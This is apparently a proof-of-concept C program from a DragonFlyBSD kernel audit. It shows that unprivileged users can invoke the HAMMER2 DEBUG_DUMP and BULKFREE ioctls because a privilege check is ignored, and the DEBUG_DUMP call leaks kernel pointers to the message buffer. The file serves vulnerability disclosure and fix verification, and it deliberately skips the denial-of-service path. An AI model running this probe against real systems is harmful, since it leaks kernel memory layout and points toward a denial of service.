DragonFlyBSD Kernel Audit
DF-0815 / df0815.c
← back to finding ↓ download raw
/*
 * DF-0815 - Missing privilege check on HAMMER2 BULKFREE_SCAN/ASYNC + DEBUG_DUMP ioctls
 *
 * Root fs on the audit guest is hammer2 (vbd0s1d on / (hammer2, local)).
 * hammer2_ioctl() at sys/vfs/hammer2/hammer2_ioctl.c:83 computes
 *   error = caps_priv_check(cred, SYSCAP_NOVFS_IOCTL);
 * and EVERY admin ioctl case guards the handler with `if (error == 0)`.
 * But the three cases at lines 144-156:
 *   case HAMMER2IOC_BULKFREE_SCAN:  error = hammer2_ioctl_bulkfree_scan(ip, data);
 *   case HAMMER2IOC_BULKFREE_ASYNC: error = hammer2_ioctl_bulkfree_scan(ip, NULL);
 *   case HAMMER2IOC_DEBUG_DUMP:     error = hammer2_ioctl_debug_dump(ip, *(u_int*)data);
 * assign to `error` directly, IGNORING the privilege check. An unprivileged
 * user who holds any fd on a hammer2 mount can therefore invoke them.
 *
 * This PoC (run as uid 1001 maxx):
 *   1. DEBUG_DUMP flags=0  -> returns 0 (success) instead of EPERM, AND leaks
 *      kernel %p pointers into the kernel msgbuf (readable via
 *      sysctl kern.msgbuf because security.unprivileged_read_msgbuf=1 default).
 *   2. BULKFREE_ASYNC (NULL data) -> returns EINVAL (from handler line 1103),
 *      NOT EPERM. EINVAL instead of EPERM proves the priv check was bypassed
 *      (caps_priv_check failure => EPERM).
 *   BULKFREE_SCAN with real data would run a full-media sync+scan (sustained
 *   DoS) and is therefore NOT exercised live here; it shares the identical
 *      missing `if (error == 0)` guard (code inspection, line 144-145).
 *
 * Build: cc -o df0815 df0815.c
 * Run:   ./df0815            (as unprivileged user)
 * Expected (BUG present):    DEBUG_DUMP rc=0 (priv check bypassed + leak)
 *                            BULKFREE_ASYNC rc=EINVAL (not EPERM)
 * Expected (FIXED):          DEBUG_DUMP rc=-1 errno=1 (EPERM)
 *                            BULKFREE_ASYNC rc=-1 errno=1 (EPERM)
 */

#include <sys/types.h>
#include <sys/ioccom.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <err.h>

/*
 * Mirror sys/vfs/hammer2/hammer2_ioctl.h. CRITICAL: the _IOWR macro encodes
 * sizeof(arg-type) into the ioctl number's upper bits, so BULKFREE_SCAN/ASYNC
 * (which take `struct hammer2_ioc_bulkfree`) MUST use the real 64-byte struct
 * layout, not `int`, or the number won't match and the kernel returns
 * EOPNOTSUPP (default case).
 *
 *   struct hammer2_ioc_bulkfree {           // 8 x 8-byte fields = 64 bytes
 *       hammer2_off_t sbase, sstop;
 *       size_t        size;
 *       hammer2_off_t count_allocated, count_freed,
 *                     total_fragmented, total_allocated, total_scanned;
 *   };
 */
struct hammer2_ioc_bulkfree { unsigned long f[8]; };  /* 64 bytes, matches kernel */
#define HAMMER2_IOC_DEBUG_DUMP     _IOWR('h', 91, int)
#define HAMMER2_IOC_BULKFREE_SCAN  _IOWR('h', 92, struct hammer2_ioc_bulkfree)
#define HAMMER2_IOC_BULKFREE_ASYNC _IOWR('h', 93, struct hammer2_ioc_bulkfree)

int
main(int argc, char **argv)
{
    const char *path = (argc > 1) ? argv[1] : "/etc";
    int fd, rc;
    int val;

    printf("[*] uid=%d euid=%d  opening '%s' on hammer2 mount\n",
           getuid(), geteuid(), path);
    fd = open(path, O_RDONLY);
    if (fd < 0)
        err(1, "open %s", path);

    /* --- DEBUG_DUMP flags=0 (safe: dumps only top-level inode chains) --- */
    val = 0;
    errno = 0;
    rc = ioctl(fd, HAMMER2_IOC_DEBUG_DUMP, &val);
    printf("[DEBUG_DUMP    ] ioctl rc=%d errno=%d (%s)\n",
           rc, errno, errno ? strerror(errno) : "success");
    if (rc == 0)
        printf("    !! BUG: DEBUG_DUMP succeeded without privilege "
               "(kernel %%p pointers leaked to msgbuf)\n");

    /* --- BULKFREE_ASYNC (handler gets NULL data internally via the case) --- */
    /* NOTE: the HAMMER2IOC_BULKFREE_ASYNC case passes NULL to the handler,
     *       which then returns EINVAL at hammer2_ioctl.c:1103 WITHOUT running
     *       the scan. So this is a safe, non-DoS probe: EINVAL (not EPERM)
     *       => the priv check was bypassed. */
    struct hammer2_ioc_bulkfree bf;
    memset(&bf, 0, sizeof(bf));
    errno = 0;
    rc = ioctl(fd, HAMMER2_IOC_BULKFREE_ASYNC, &bf);
    printf("[BULKFREE_ASYNC] ioctl rc=%d errno=%d (%s)\n",
           rc, errno, errno ? strerror(errno) : "success");
    if (errno != EPERM)
        printf("    !! BUG: BULKFREE_ASYNC did NOT return EPERM "
               "(priv check bypassed; got %s)\n",
               errno ? strerror(errno) : "success");

    /* BULKFREE_SCAN deliberately NOT issued live: with real data it runs a
     * full-media sync + bulkfree scan = sustained DoS. Same missing
     * if(error==0) guard at hammer2_ioctl.c:144-145. */

    close(fd);
    return 0;
}